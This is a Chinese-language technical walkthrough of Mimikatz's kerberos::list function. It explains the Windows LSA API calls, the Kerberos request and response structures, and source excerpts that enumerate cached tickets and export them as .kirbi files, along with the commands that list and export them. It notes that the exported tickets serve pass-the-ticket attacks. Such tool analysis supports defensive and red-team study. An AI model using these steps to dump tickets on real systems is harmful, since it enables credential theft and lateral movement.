Mimikatz Explorer - Kerberos List
字数 1053 2025-08-06 12:21:02
Mimikatz Kerberos::List 功能深度解析
功能概述
Mimikatz 的 kerberos::list 功能可以从当前主机的缓存中列出并转储 Kerberos 票据。该功能通过 Windows LSA (Local Security Authority) API 与 Kerberos 身份验证包通信,实现票据的查询和导出。
核心 API 解析
1. LSA 连接相关函数
LsaConnectUntrusted
NTSTATUS LsaConnectUntrusted([out] PHANDLE LsaHandle);
- 与 LSA 服务器建立不受信任的连接
- 不验证调用方信息
- 返回的句柄用于后续身份验证服务调用
LsaLookupAuthenticationPackage
NTSTATUS LsaLookupAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] PLSA_STRING PackageName,
[out] PULONG AuthenticationPackage
);
- 获取身份验证包的唯一标识符
- 重要参数:
PackageName: 可指定为MICROSOFT_KERBEROS_NAME_A(Kerberos 包)AuthenticationPackage: 返回的包标识符
LsaCallAuthenticationPackage
NTSTATUS LsaCallAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] ULONG AuthenticationPackage,
[in] PVOID ProtocolSubmitBuffer,
[in] ULONG SubmitBufferLength,
[out] PVOID *ProtocolReturnBuffer,
[out] PULONG ReturnBufferLength,
[out] PNTSTATUS ProtocolStatus
);
- 与身份验证包通信的主要函数
- 通过不同的消息类型执行不同操作
2. Kerberos 协议消息类型
typedef enum _KERB_PROTOCOL_MESSAGE_TYPE {
KerbDebugRequestMessage = 0,
KerbQueryTicketCacheMessage,
KerbChangeMachinePasswordMessage,
KerbVerifyPacMessage,
KerbRetrieveTicketMessage,
KerbUpdateAddressesMessage,
KerbPurgeTicketCacheMessage,
KerbChangePasswordMessage,
KerbRetrieveEncodedTicketMessage, // 用于检索编码票据
KerbDecryptDataMessage,
KerbAddBindingCacheEntryMessage,
KerbSetPasswordMessage,
KerbSetPasswordExMessage,
KerbQueryTicketCacheExMessage, // 用于查询票据缓存
// ... 其他消息类型
} KERB_PROTOCOL_MESSAGE_TYPE;
关键数据结构
1. 票据查询请求结构
typedef struct _KERB_QUERY_TKT_CACHE_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType; // 设置为 KerbQueryTicketCacheExMessage
LUID LogonId; // 登录会话ID,0表示当前用户
} KERB_QUERY_TKT_CACHE_REQUEST;
2. 票据查询响应结构
typedef struct _KERB_QUERY_TKT_CACHE_EX_RESPONSE {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
ULONG CountOfTickets; // 票据数量
KERB_TICKET_CACHE_INFO_EX Tickets[ANYSIZE_ARRAY]; // 票据信息数组
} KERB_QUERY_TKT_CACHE_EX_RESPONSE;
typedef struct _KERB_TICKET_CACHE_INFO_EX {
UNICODE_STRING ClientName; // 客户端名称
UNICODE_STRING ClientRealm; // 客户端领域
UNICODE_STRING ServerName; // 服务名称
UNICODE_STRING ServerRealm; // 服务领域
LARGE_INTEGER StartTime; // 票据生效时间
LARGE_INTEGER EndTime; // 票据过期时间
LARGE_INTEGER RenewTime; // 可续订截止时间
LONG EncryptionType; // 加密类型
ULONG TicketFlags; // 票据标志位
} KERB_TICKET_CACHE_INFO_EX;
3. 票据检索请求结构
typedef struct _KERB_RETRIEVE_TKT_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType; // 设置为 KerbRetrieveEncodedTicketMessage
LUID LogonId; // 登录会话ID
UNICODE_STRING TargetName; // 目标服务名称
ULONG TicketFlags; // 票据标志
ULONG CacheOptions; // 缓存选项
LONG EncryptionType; // 加密类型
SecHandle CredentialsHandle; // 凭据句柄
} KERB_RETRIEVE_TKT_REQUEST;
4. 票据检索响应结构
typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
KERB_EXTERNAL_TICKET Ticket; // 包含实际票据数据
} KERB_RETRIEVE_TKT_RESPONSE;
typedef struct _KERB_EXTERNAL_TICKET {
// ... 其他字段
ULONG EncodedTicketSize; // 编码票据大小
PUCHAR EncodedTicket; // ASN.1编码的票据数据
} KERB_EXTERNAL_TICKET;
功能实现流程
1. 初始化阶段
NTSTATUS kuhl_m_kerberos_init() {
NTSTATUS status = LsaConnectUntrusted(&g_hLSA);
if(NT_SUCCESS(status)) {
status = LsaLookupAuthenticationPackage(g_hLSA,
&kerberosPackageName,
&g_AuthenticationPackageId_Kerberos);
g_isAuthPackageKerberos = NT_SUCCESS(status);
}
return status;
}
2. 列出票据流程
-
构造查询请求:
KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = { KerbQueryTicketCacheExMessage, {0, 0} // 当前用户 }; -
调用 LSA API 查询票据:
status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID*)&pKerbCacheResponse, &szData, &packageStatus); -
解析并显示票据信息:
for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) { // 显示加密类型、时间信息、服务名、客户端名等 kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType)); // ... 其他信息显示 }
3. 导出票据流程
-
构造检索请求:
szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength; pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData); pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName; -
调用 LSA API 检索票据:
status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus); -
保存票据数据:
filename = kuhl_m_kerberos_generateFileName(i, &pKerbCacheResponse->Tickets[i], MIMIKATZ_KERBEROS_EXT); kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize);
票据标志位解析
票据标志位通过位移和与运算进行解析:
const PCWCHAR TicketFlagsToStrings[] = {
L"name_canonicalize", L"?", L"ok_as_delegate", L"?",
L"hw_authent", L"pre_authent", L"initial", L"renewable",
L"invalid", L"postdated", L"may_postdate", L"proxy",
L"proxiable", L"forwarded", L"forwardable", L"reserved"
};
void kuhl_m_kerberos_ticket_displayFlags(ULONG flags) {
DWORD i;
for(i = 0; i < ARRAYSIZE(TicketFlagsToStrings); i++)
if((flags >> (i + 16)) & 1)
kprintf(L"%s ; ", TicketFlagsToStrings[i]);
}
重要标志位包括:
renewable: 票据可续订forwardable: 票据可转发proxiable: 票据可代理ok_as_delegate: 可用于委托
实际应用示例
1. 列出当前票据
mimikatz # kerberos::list
2. 导出所有票据
mimikatz # kerberos::list /export
导出的票据文件命名格式为:
{索引}-{标志位}-{客户端名}@{服务名}-{服务领域}.kirbi
技术要点总结
- 通过 LSA API 与 Kerberos SSP 交互是 Mimikatz 操作票据的核心
KerbQueryTicketCacheExMessage用于查询票据缓存信息KerbRetrieveEncodedTicketMessage用于获取票据的 ASN.1 编码数据- 票据标志位揭示了票据的安全属性和使用限制
- 导出的 .kirbi 文件包含完整的 Kerberos 票据,可用于票据传递攻击
理解这些底层机制对于防御 Kerberos 相关攻击和进行红队操作都至关重要。